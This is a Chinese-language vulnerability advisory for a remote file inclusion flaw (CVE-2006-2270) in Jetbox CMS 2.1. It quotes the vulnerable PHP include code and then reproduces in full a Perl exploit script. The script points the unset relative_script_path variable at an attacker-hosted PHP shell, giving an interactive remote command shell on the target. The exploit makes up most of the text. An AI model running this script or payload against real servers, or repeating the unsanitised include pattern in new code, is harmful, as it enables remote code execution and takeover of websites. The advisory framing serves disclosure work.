安全研究

安全漏洞
Jetbox CMS config.php远程文件包含漏洞

发布日期:2006-05-06
更新日期:2006-05-06

受影响系统:
Jetbox Jetbox CMS 2.1
描述:
BUGTRAQ  ID: 17861
CVE(CAN) ID: CVE-2006-2270

Jetbox是一款使用php和mysql的内容管理系统。

jetbox/includes/phpdig/includes/config.php文件未经声明便使用了include()函数中的relative_script_path变量,允许攻击者包含远程资源的文件,执行任意代码。

漏洞代码:

if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
    {include "$relative_script_path/locales/$phpdig_language-language.php";}
else
    {include "$relative_script_path/locales/en-language.php";}

<*来源:beford (xbefordx@gmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114693181805643&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl

############

# JetBox CMS Remote File Include
# Exploit & Advisory:  beford <xbefordx gmail com>

#
# uso:#     perl own.pl <host> <cmd-shell-url> <cmd-var>

#         perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while()

{

    print "[shell] \$";

    while(<STDIN>)      {

        $cmd=$_;

        chomp($cmd);
        if (!$cmd) {
            last;
        }

        $xpl = LWP::UserAgent->new() or die;

        $req = HTTP::Request->new(GET
=>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

        $res = $xpl->request($req);

        $return = $res->content;

        $return =~ tr/[\n]/[ê]/;

        
        if ($return =~/Error: HTTP request failed!/ || $return =~/: No se
puede ejecutar un comando en blanco <b>/) {
            print "\nNo se puede conectar al host de la cmd o el comando es invalido\n";
            exit;
        } elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
            print "\nComando Invalido, o no hubo respuesta\n\n";
        }
        if ($return =~ /(.*)/) {

            $finreturn = $1;

            $finreturn=~ tr/[ê]/[\n]/;

            print "\r\n$finreturn\n\r";

            last;

        } else {
            print "[shell] \$";
        }

    }

} last;


sub head()  {

     print "\n============================================================================\r\n";

     print " JetBox CMS Remote File Include\r\n";

     print "============================================================================\r\n";

}


sub usage() {

     head();

     print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

     print " <host> - Full Path : http://host/claroline/ [remember the
trailing slash noob]\r\n";

     print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

     print " <var> - var name used in phpshell : cmd  \r\n";

     exit();

}

建议:
厂商补丁:

Jetbox
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://jetbox.streamedge.com/

浏览次数:3021
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障